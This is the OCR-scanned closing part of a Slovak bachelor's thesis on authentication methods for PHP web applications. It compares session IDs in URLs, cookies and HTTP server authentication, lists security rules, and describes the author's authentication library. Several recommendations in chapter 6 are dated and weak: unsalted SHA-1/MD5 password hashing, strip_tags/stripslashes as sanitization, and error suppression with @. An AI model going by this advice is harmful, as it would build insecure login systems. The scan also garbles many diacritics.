Ak nie je znizend bezpecnost, ktord vznikd pouzitim metédy GET, prekézkou, je tato
metéda vhodnym typom pre autentizaciu uzivatelov. PouZiva sa vsade tam, kde nie je
moznost pouzivat cookies.

Prerusenie komunikécie je dtok, ktorému sa prakticky nedé branit, preto je aj tento
sposob autentizcie nichylny na takyto ttok. Velki pozornost je potrebné venovat navrhu
samotnej aplikécie, pretoze titoénik moze jednoducho zneuzit pouZivanie neinicializovanych
premennych alebo SQL injection. Proti véetkym chybam sa d4 branit dostatoénou kontrolou
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vstupnych dat. Odcudzenie session id je v tomto pripade zjednoduSené jeho zobrazenim
v URL stranky.

5.7.2 Kombinacia PHP, databazy a cookies

T4to metéda je podobnd predoslej. Sprava uzivatelov je rieSend pomocou databdzy, aut-
entizacia a autorizacia pomocou jazyka PHP a stavova komunikéacia sa udrzuje pomocou
protokolu HTTP a cookies.

Oproti predchadzajicemu rieSeniu ma tato metéda vyhodu v tom, Ze nie je pouzité
zobrazovanie session id v URL strdnky a teda identita sa nedd odcudzif jednoduchym
zobrazenim URL stréanky. Je vSak vhodné kontrolovat d’alsie ddta od uzivatela, aby ani pri
odcudzeni cookies nevznikla skoda.

Nevyhodou je nutnost podpory cookies u klienta a tym padom sa aplikdcia stdva
nachylnou na cross-site skriptovanie, ktorym sa daji jednoducho odcudzit samotné cookies.
Dalsou nevyhodou je uz spomenuta nutnost mat pristup k databdze a nutnd podpora we-
bového serveru pre PHP.

Kvoli zvysSenej bezpecnosti je pouzitie tejto metddy vyhodné tam, kde si u klienta pov-
olené cookies. Vd'aka bezpecnosti je to najpouZivanejsia metéda autentizacie a autorizécie
vo webovych aplikdciach. Tato kombinacia je zvicsa pouzivand v aplikdcidach ako je inter-
netbanking, alebo inych, kde je potrebné zabezpecené prihlasovanie.

Rovnako ako v predoslej metdde, aj tu je mozny tutok preruSsenim komunikécie a zne-
uzivanie chyb samotnej aplikacie, kde nekontrolovanim vstupov od uzivatela moze titoénik
pouzit cross-site skriptovanie, SQL injection, alebo zneuZif pouzivanie neinicializovanych
premennych.

5.7.3 Autentizacia pomocou webového servera a PHP

Pri tejto kombinacii ma spravu uzivatelov a samotni autentizdciu na starosti webovy server.
Autorizéciu riadi webovéa aplikdcia a stavova komunikécia sa udrziava pomocou protokolu
HTTP, kde sa prihlasovacie uidaje posielaju pri kazdom vyziadani webovej stranky od
servera.

Jasnou vyhodou je nepotrebnost programovania samotnej autentiza¢nej procediry, ktord
uz je implementovand vo webovom serveri. Dalsou zna¢énou vyhodou je vypustenie cookies
alebo metédy GET na udrzanie stavu, ktoré boli jednoduchsie napadnutelné nez Sifrovana
HTTP hlavicka, ktora obsahuje prihlasovacie idaje. Ttto metédu podporuje drviva vacsina
najrozsirenejsich webovych prehliadacov.

Hlavnou nevyhodou je zlozitd sprava uZivatelov, pretoze prihlasovacie ddta si uloZené
v konfiguraénych stiboroch a tym padom je pristup k nim zlozitejsi oproti databdze. Dalsou
nevyhodou tejto metédy je, ze prihlasovacie data sa v HI'TP hlavicke odosielaju Sifrované
velmi jednoduchou sifrou, ktord je mozné prekonaf v redlnom ¢ase a tak nie je problém
odchytit paket, zistif z neho poZzadované data a desifrovat ich. Tento problém riesi pouzitie
protokolu HTTPS, je vSak nutné vlastnit certifikdt, ktorym sa overuje identita servera.

T4to metdda je pouZitelnd vsade tam, kde nie je nutnd flexibilnd sprava uzivatelov a je
vyzadované vysoka bezpeénost. Je nutné mat podporu urcitého programovacieho jazyka,
ktory sa starda o autorizaciu. Tato kombinacia s pouzitim Sifrovania je, okrem prerusenia
komunikécie, iminna voéi vietkym titokom na komunikdciu. Vd'aka autentizacii pomocou
webového servera odpadd moZnost pouZitia cross-site skriptovania, pretoze u klienta sa
neukladaju ziadne data a SQL injection, pretoze data nie si v databéze, ale v konfigura¢nom
stibore. Stéle je tu vSak moznost zneuzitia neinicializovanych premennych.
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Kapitola 6

Zhrnutie pravidiel bezpecnosti

Vyvojari aj uzivatelia by sa mali riadif uréitymi pravidlami pri dodrziavani bezpeénosti.
Pri tvorbe aplikdcie musi byt ndvrh vytvoreny s ohladom na niekolko vseobecnych bodov
bezpecnosti. [7]

e Ziadny systém nepovazovat za absolitne zabezpeceny. Utokom a réoznym ohrozeniam
sa ned4 vyhnut.

e Rozdelit systém/aplikdciu na viacero €asti za ticelom zniZenia §kod pri titoku.
e Robit zdznamy zo vsetkych akcii nad aplikdciou.

e Nikdy neverit uzivatelskému vstupu.

6.1 Autentizacia s pouzitim jazyka PHP

Pri vytvérani autentiza¢ného procesu by sa mal ndvrhar riadit niekolkymi bezpe¢nostnymi
zésadami.

e Uzivatelské meno a heslo by mali byt aspon 6 znakov dlhé a obsahovat alfanumerické
a rozne dalsie znaky.

e Pri netispesnom prihlaseni by sa mala aplikicia spravat zdrZanlivo. Namiesto
hlaseni ,nespravne heslo“ alebo ,,zadané meno sa nenachadza v databédze® je vhod-
nejsie napisat ,,Prihldsenie netispesné“ a tak ostat neutralny voci nespravne zadanym
udajom.

e Spravne zaobchadzat s chybami. Pred vacsinu funkceif volanych v PHP vlozit znak
@. Ak funkcia zlyh4, PHP tak nebude zobrazovat chybovi hldsku. Najlepsie uplatne-
nie je pri praci s databdzami, kde sa moze stat, ze SQL dotaz vrati chybu a pripadny
vypis chybovej spravy by len pomohol utoénikovi pri identifikcii roznych prvkov
v databdze. U oby¢ajnych uzivatelov takdto chyba poukazuje na neprofesionalitu ap-
likacie.

e Hesld v databdze sa nesmu nikdy ukladat ako ¢isty text, ale hasované pomocou
roznych metéd (napriklad SHA-1 alebo MD5). Ak by sa tuto¢nik ndhodou dostal
k samotnej databéze, dostane z nej iba uZivatelské mend a hesld pre neho ostani
ukryté vdaka pouzitej hasovacej metédy. Tato metéda prevadza text (heslo) na
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refazec znakov, pri¢om vytvorenie tohto refazca trva zlomok sekundy, ale spatné
dekédovanie je takmer nemozné. Aplikacia pri prihlasovani rovnakym sposobom zahasuje
vstupné heslo a vysledok porovnava s ulozenym retazcom v databéze.

Nepouzivat slovd ,,admin® alebo ,,root“ ako prihlasovacie mens administratora.
Pouzitie iba usmertiuje dtoénika, na ktorého uzivatela sa m4 sustredit pri snahe
o ziskanie plnych préav nad aplikaciou.

Zaznamenavat poéet prihldseni pre kazdého uzivatela, ako aj ddtum a ¢as posledné-
ho prihlésenia a IP adresu poéitaca, z ktorého bol uzivatel prihlaseny. Takéto zdznamy
ndm pomdzu pri odhalovani vstupu neopréavnenej osoby.

Zaznamenavat pocet netspesnych prihldseni pre kazdého uzivatela a zabrédnit
moznosti d'alsieho prihlasovania pri prekroceni uréitého limitu. Tymto zabezpeéime
aplikaciu proti itokom hrubou silou, kde dtocnik ndhodne skisa mend a hesla.

Odstranit spitné lomitka, HTML znaéky, SQL a PHP prikazy alebo rozne
§pecidlne znaky pouzivané v urcitych pripadoch (napriklad -- v SQL zmanend ig-
norovanie do konca riadku) zo vsetkych uzivatelovych vstupov. Ak takyto vstup
neoc¢akdvame, ttoénik moze jednoducho napadnitf nasu aplikdciu. V PHP sa na
odstréanenie pouzivajui funkcie strip_tags() a stripslashes()

Pouzivat LIMIT 1 v SQL dotazoch. Toto obmedzi vypis z databdzy len na jeden
zdznam a pripadny itoénik moéze ziskat alebo poskodit iba takto limitované déta a nie
celt tabulku.

Orezavat vstupné data. Ak neocakdvame prekrocenie urcitej dIZky vstupnych dat,
mali by sme uzivatelovi zamedzit zadanie vicsieho poétu dat, &fm mozeme predist
roznym chybam. Nestaéi vSak pouzitie atribitu maxlenght v HTML formularoch,
pretoze ttoénik nemusi dita odosielat z formuldra. Pred pouzitim premennej ju
mozeme ,,orezat“ pomocou funkcie substr ().

Kontrola hlaviéky. Aplikicia by mala kontrolovat HTTP_REFERER a zistit odkial
prisiel dotaz. Ak neprisiel zo stranky s formularom, aplikdcia by mala dotaz ig-
norovat. HTTP_REFERER sa vSak d4 jednoducho sfalovat a zastavi iba spam-botov
a neskusenych utoénikov.

Pouzivat $_POST namiesto $_REQUEST pri ziskavani d4t. Pri pouziti $_REQUEST by
mohol ttoénik dostat do aplikdcie ddta pomocou metédy $_GET.

Vyuzivat SSL sifrovanie. Pre zabezpecenie dat prendSanych cez siet je vhodné
pouzivat SSL &ifrovanie. Pre takéto zabezpecenie potrebujeme SSL certifikat, ktorym
sa overuje cielovy server.

Vseobecne limitovat uzivatelské pravomoci. Navrhnit aplikdciu s ohladom na
viacero tirovni uzivatelskych oprdvneni, pretoze nie vsetci uzivatelia zvycajne potre-
buju rovnaké pravomoci.
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Kapitola 7

Autentizaécna kniznica

Pre implementdciu som z dovodu jednoduchosti spravy uzivatelov a vysokej bezpec¢nosti
vybral metdodu, ktora zabezpeCuje autentizaciu pomocou sposobov popisanych v Castiach
5.7.1 a 5.7.2. Z toho dovodu, Ze obe metédy maji svoje vyhody a nevyhody (nutnost
podpory cookies, prendSanie session ID pomocou URL), rozhodol som sa implementovat
obe, aby sa pri findlnom pouZit{ mohol vyvojar sdm rozhodniit, ktord z tychto metéd je pre
jeho aplikaciu vhodnejsia.

7.1 Implementacia

Implementovand metéda je navrhnutd objektovo a podla zadania naprogramované v jazyku
PHP. Pouzil som PHP vo verzii 5.2.2, MySQL 4.0.27, webovy server Apache vo verzii 1.3.31
a testovanie prebiehalo na OS FreeBSD 6.2. Ked'Ze je jazyk PHP platformovo nezavisly,
¢ize nie je problém pouzivat tito kniZnicu na réznych operaénych systémoch.

Na prihldsenie uzivatela slizi jednoduchy formuldr so vstupom pre prihlasovacie meno
a heslo. Po odoslani poziadavky pre prihldsenie st tidaje o uzivatelovi dostupné v objekte
user, kde sa d4 zistit, ¢i je uzivatel ispesne prihldseny, jeho IP adresa, éas poslednej aktivity
a ¢i je jeho prihldsenie stdle v platnosti. Prihlasovacie tidaje uZivatela st skontrolované
metodami checkInput() a checkAuth() v triede user, kde prva metéda skontroluje pri-
hlasovacie meno na neziaduce znaky a druha metéta porovnda prihlasovacie tidaje s idajmi
z databazy. Zadané heslo je od pociatku kédované metédou SHA-1, takze jeho kontrola na
neziaduce znaky nie je potrebnd. Ak je ziadost o prihldsenie vyhodnotens tispesne, nastavia
sa priznaky tspesného prihldsenia, s ktorymi potom moze pracovat webové aplikicia.

Ak uzivatel prekroc¢i stanoventi maximalnu dobu ne¢innosti, nastavi sa vlastnost expired
a zalezi na aplikacii, ako bude postupovat v tomto pripade — ¢i uz pontkne uzivatelovi
znova zadat prihlasovacie udaje a tym predfiit dobu prihldsenia, alebo uzivatela kompletne
odhlasi.

Pri odhldseni uzivatela je zrusené celd session a Ziadne z predoslych informdcii uz nie
su dostupné.

Ak je pri pristupe na stranku zistend ind IP adresa, ako td, ktora sa na zaciatku reldcie
priradila, danému uzivatelovi, znamen4 to, Ze sa urcitym sposobom dostalo session ID na
iny poé¢itaé, ako je ten, z ktorého sa prihlésil pravoplatny uzivatel, a session sa zrusi.

Udrzovanie stavu je zabezpetené pomocou PHP session a metédy GET alebo cookies.
Implicitny sposob je pomocou cookies, ak je v8ak zistené, ze klient nema povolené pouzitie
cookies, pouzije sa metdoda GET. Pri nastaveni metédy bude vzdy pouzitd dana metdda,
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aj napriek tomu, Ze ju klient nemusi podporovat. Je nutné, aby pri pouziti metédy GET
obsahovali vSetky URL adresy v ramci aplikacie session ID. Na pridanie tohoto ID sluzi
funkcia makeUrl (), ktora automaticky vlozi session ID na koniec zadanej URL.

O samotné pripojenie k databdze sa stara trieda auth, ktord sa d4 nakonfigurovat aj
pre odlisny databazovy server, nez je ten, ktory vyuziva webova aplikdcia a je potrebné
nastavit ndzov tabulky a nzvy Stipcov, kde sa nachadzaji dita o uzivateloch. TaktieZ sa
tam nastavuje, ktord z metéd sa ma pouzif pre udrzovanie informécie o cookies. Dalsou
moZnostou nastavenia je maximdlna dizka doby necinnosti uzivatela, po ktorej sa zrusi
platnost prihldsenia.

7.2 Pouzitie

KniZnicu je nutné vlozit na zaéiatok kazdej stranky, ktora vyZaduje autorizovaného uzivatela,
pomocou require_once(’inc/auth.inc’) ;. Skript v auth.inc sa sdm stard o samotnu
autentizdciu a nastavenie priznakov o aktualnom uzivatelovi. V stibore auth_config.inc
sa nachadza rozne nastavenie, ako napriklad maxima&lna dizka nec¢innosti, nézvy stipcov
v tabulke, ndzov tabulky, adresa MySQL serveru, tidaje potrebné pre pripojenie k databéze
a metdda, ktord sa ma pouzit pre udrzovanie stavu. TaktieZ sa tam nachddza samotné
MySQL pripojenie a odpojenie od databazy. V stibore auth_form.inc sa nachadza formulédr
pre prihldsenie uzivatela. Stibor auth_func.inc obsahuje samotnu funkciu, ktora sa pouziva
na dpravu URL pri pouzit{ metody GET. Trieda obsahujica metdody a vlastnoti sliziace k
overovaniu a udrzovaniu informdcii o uzivatelovi sa nachddza v sibore auth_user.inc.

7.3 Vyuzitie

Této autentizaénid kniZnica mé vyuzitie vsade tam, kde je nutnd autentizdcia uzivatela
pred vstupom do uréitej ¢asti aplikdcie, ktori chceme oddelif od verejnej ¢asti stranky.
Prikladom moézu byt rézne diskusné féra, privatne fotogalérie alebo osobné stranky. Této
metdda vsak stdle obsahuje chyby, ako napriklad spdésob, akym ukladd PHP premenné na
strane serveru.
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Kapitola 8

Zaver

Pri vypracovavani tejto prace som sa zoznamil s problematikou bezpecnosti webovych ap-
likacif a roznych metdd, ktoré sa pouzivaju pre autentizaciu v prostredi WWW s pouzitim
programovacieho jazyka PHP. Jednotlivé metody a ich kombindcie su detailne popisané
s ich vyhodami a nevyhodami, so zameranim na pouzitelnost a bezpeénost tychto metdd.
S vyuzitim tychto znalosti som nakoniec implementoval kniznicu funkcii pre zvolenid metédu
autentizacie.

Pri analyze bezpecnosti aplikdcii v prostredi webu som narazil na rozne bezpe¢nostné
problémy, ktoré sa priamo alebo nepriamo tykaji samotnej aplikacie a na ktoré si ndvrhari
musia ddvat pozor pri navrhovani aplikacie. Ide napriklad o riesenie vzajomnej komunikécie
medzi klientom a serverom, pouzitie webového serveru alebo vyberu skriptovaciecho jazyka,
v ktorom bude naprogramovand dana aplikacia.

Pri popisovani roznych utokov som sa zameral hlavne na utoky na komunikaciu —
odpocivanie komunikécie, prerusenie komunikécie, podvrhnutie identity, alebo modifikaciu
spravy — a rozne chyby, ktoré moze obsahovat webové aplikdcia, ako napriklad nekontrolo-
vanie vstupu uzivatela, netimyselné povolenie cross-site skriptovania alebo SQL injection.
Zameral som sa aj na rozne priklady niektorych utokov.

Nésledne som sa venoval réznym metédam autentizacie za pomoci JavaScriptu, PHP,
session alebo HTTP autentizacii. Jednotlivé metdédy st popisané so svojimi vyhodami,
nevyhodami a réznymi poziadavkami na server a klienta. Rovnako opisuje bezpeénost
vSetkych metéd a ich pouzitelnost v praxi. Na zdver kapitoly st zhrnuté rozne kombindcie
autentiza¢nych metdd, s ktorymi sa v praxi najcastejsie stretavame.

Nakoniec som sa venoval popisu implementacie zvolenej metédy — ako si udrzuje stav
pocas relacie, kde ziskava prihlasovacie data objektov a ako tento modul pracuje.

Touto pracou som chcel opisat zékladné bezpeénostné aspekty vo webovych aplikicidch
a zvyraznit zavaznost niektorych chyb, ktoré sa v nich ¢asto vyskytuji. Ndzornou ukdzkou
niekolkych titokov by som rad poukézal na jednoduchost zneuzitia roznych chyb, ktorych sa
vyvojari a navrhéri doptstaji a verim, Ze im této praca pomoéze pri vytvarani bezpeénejsich
aplikécii.

V budtcej praci by som sa rad podrobnejSie zameral na analyzu bezpecnosti zo strany
serveru vzhladom k poskytovanym aplikdcidm, ako napriklad Apache, PHP alebo MySQL.
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Zoznam pouzitych skratiek

ACL — Access Control List

ASP — Active Server Pages

DDoS - Distributed Denial-of-Service

IIS — Internet Information Server

IP — Internet Protocol

HTML - Hyper Text Mark-Up Language

HTTP - Hyper Text Transfer Protocol

HTTPS — Hypertext Transfer Protocol over Secure Socket Layer
MDS5 — Message Digest 5

PERL - Practical Extraction and Reporting Language
PHP — PHP: Hypertext Preprocessor

PIN — Personal Identification Number

SHA-1 — Secure Hash Algorithm 1

SIM — Subscriber Identity Module

SQL — Structured Query Language

SSL - Secure Socket Layer

URL — Uniform Resource Locator

WWW - World Wide Web

XSS — Cross Site Scripting
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Zoznam priloh

A Obsah DVD
B DVD
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Priloha A

Obsah DVD

e \doc

— xcizek07-bp.pdf — tato bakalarska praca vo formate PDF

e \src

— \inc

*
*
*
*

*

*

auth.inc — kniznica ktora vykonava samotnui autentizaciu
auth_config.inc — configura¢ny sibor kniznice

auth_form.inc — stibor obsahujici webovy formular pre prihldsenie
auth_func.inc — funkcia pre priddvanie PHPSESSID na koniec URL
auth_user.inc - trieda USER, spolu s metédami, ktoré nad nou pracuji
users_form.inc — formuldr pre testovaciu aplikaciu

— index.php — testovacia aplikacia

— auth_users.php — testovacia aplikacia

— users.sql — SQL stbor so vstupnymi datami pre testovanie
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